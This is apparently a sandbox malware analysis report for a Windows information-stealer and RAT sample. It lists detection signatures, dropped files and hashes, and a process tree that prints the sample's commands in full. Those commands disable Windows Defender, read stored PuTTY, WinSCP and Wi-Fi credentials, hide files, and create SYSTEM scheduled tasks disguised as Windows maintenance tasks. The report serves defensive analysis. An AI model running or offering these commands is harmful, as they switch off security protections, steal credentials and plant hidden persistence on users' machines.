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07/08/2026, 07:09

260807-hy758azbnd10

22/07/2026, 22:13

260722-148m2scg6510

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    22/07/2026, 22:13

General

  • Target
    2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
  • Size 4.7MB
  • Sample260722-148m2scg65
  • SHA256 d07ef415c1ddcb23e2b9305ab6a11d1e1bf27df28fa5468641245380c9e9c060
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 5 IoCs
  • Modifies firewall policy service 3 TTPs 12 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 4 IoCs
  • Custom signature
    Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Custom signature
    Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Custom signature
    Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
  • Custom signature
    Detects executables containing common artifacts observed in infostealers 1 IoCs
  • Custom signature
    Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Custom signature
    Detects executables referencing many Password Manager software clients. Observed in infostealers 1 IoCs
  • Custom signature
    Detects executables referencing potentially confidential GIT artifacts. Observed in infostealer 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to get system information as a root user.

  • Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs

    Disable Windows Driver Blocklist via Registry.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads ssh keys stored on the system 2 TTPs

    Tries to access SSH used by SSH programs.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Windows security modification 2 TTPs 5 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 24 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 5 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 4 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Modifies Windows Defender Real-time Protection settings
    • Modifies Windows Defender notification settings
    • Modifies firewall policy service
    • Modifies security service
    • Windows security bypass
    • Modify Registry: Disable Windows Driver Blocklist
    • Drops startup file
    • Windows security modification
    • Accesses Microsoft Outlook profiles
    • Adds Run key to start application
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Subvert Trust Controls: Mark-of-the-Web Bypass
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • outlook_office_path
    PID:3036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:548
    • C:\Windows\system32\reg.exe
      "reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s
      2⤵
        PID:4292
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        2⤵
        • Views/modifies file attributes
        PID:4104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1208
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        2⤵
        • Views/modifies file attributes
        PID:3564
      • C:\Windows\system32\ipconfig.exe
        "ipconfig" /all
        2⤵
        • Gathers network information
        PID:4512
      • C:\Windows\system32\reg.exe
        "reg" query HKCU\Software\SimonTatham\PuTTY\Sessions /s
        2⤵
        • Modifies registry key
        PID:2996
      • C:\Windows\system32\netsh.exe
        "netsh" wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:3032
      • C:\Windows\system32\ipconfig.exe
        "ipconfig"
        2⤵
        • Gathers network information
        PID:2212
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"
        2⤵
        • Drops startup file
        • Views/modifies file attributes
        PID:2796
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1620
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3164
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1496
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4224
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr34a427b4.xml\" /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2400
      • C:\Windows\system32\cmd.exe
        "cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe\" /ru SYSTEM /f"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2900
        • C:\Windows\System32\schtasks.exe
          C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe\" /ru SYSTEM /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -NoProfile -NonInteractive -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -ExpandProperty displayName"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2528
      • C:\Windows\system32\attrib.exe
        "attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe
        2⤵
        • Views/modifies file attributes
        PID:1120
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2596
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4968
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:3100
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:448
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4988
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:5076
        • C:\Windows\system32\tasklist.exe
          "tasklist" /fi "PID eq 3036" /fo csv /nh
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
          • C:\Windows\System32\Conhost.exe
            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            4⤵
              PID:1604
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3540
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1664
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5108
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4404
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2516
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4796
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4408
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1016
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3848
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1856
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3404
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1692
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5092
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1792
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3164
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:1976
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4988
          • C:\Windows\system32\tasklist.exe
            "tasklist" /fi "PID eq 3036" /fo csv /nh
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4876
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        1⤵
        • Executes dropped EXE
        PID:2308
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe"
        1⤵
        • Executes dropped EXE
        PID:1476

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 355f0000d40c74cfb6e217b8bc5f4378946e438c178d228f9598c2082e40e8e5
            • MD5 SHA1 SHA512 TLSH

            2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe

            • Path C:\Users\Admin\AppData\Local\Temp\2026-07-22_9563f394e819815af5579dd0aac60221_akira_glassworm_quasar-rat_rusty-stealer.exe
            • Size 4.7MB
            • SHA256 d07ef415c1ddcb23e2b9305ab6a11d1e1bf27df28fa5468641245380c9e9c060
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_4kh1rtas.kkm.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4kh1rtas.kkm.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            WinSyncDefSvc83.lock

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncDefSvc83.lock
            • Size 1B
            • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
            • MD5 SHA1 SHA512

            WinSyncSvc.exe:Zone.Identifier

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WinSyncSvc.exe:Zone.Identifier
            • Size 26B
            • SHA256 1409cc4125f7e08d09a731da789dc35c09afa8e716c00ad22d9f3f1b17a2cb33
            • MD5 SHA1 SHA512

            memory/548-53-0x00000202F57A0000-0x00000202F57B6000-memory.dmp

            memory/548-33-0x00000202F2BC0000-0x00000202F2BD0000-memory.dmp

            memory/548-54-0x00000202F5780000-0x00000202F578A000-memory.dmp

            memory/548-55-0x00000202F5810000-0x00000202F5836000-memory.dmp

            memory/548-36-0x00000202F2BC0000-0x00000202F2BD0000-memory.dmp

            memory/1208-34-0x00000228F7E00000-0x00000228F7E10000-memory.dmp

            memory/1208-52-0x00000228DFC90000-0x00000228DFCB2000-memory.dmp

            memory/1208-35-0x00000228F7E00000-0x00000228F7E10000-memory.dmp

            memory/2528-79-0x000001F8FEFB0000-0x000001F8FEFDA000-memory.dmp

            memory/2528-80-0x000001F8FEFB0000-0x000001F8FEFD4000-memory.dmp